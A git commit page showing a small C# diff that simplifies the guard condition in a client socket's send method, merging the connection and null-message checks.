Update if statement for send method

This commit is contained in:
NYAN CAT 2019-05-23 03:52:48 +03:00
parent 9f81994017
commit e51e725604

View File

@ -188,14 +188,11 @@ namespace Client.Sockets
{ {
try try
{ {
if (!Client.Connected || !IsConnected) if (!IsConnected || msg == null)
{ {
IsConnected = false;
return; return;
} }
if (msg == null) return;
byte[] buffer = msg; byte[] buffer = msg;
byte[] buffersize = BitConverter.GetBytes(buffer.Length); byte[] buffersize = BitConverter.GetBytes(buffer.Length);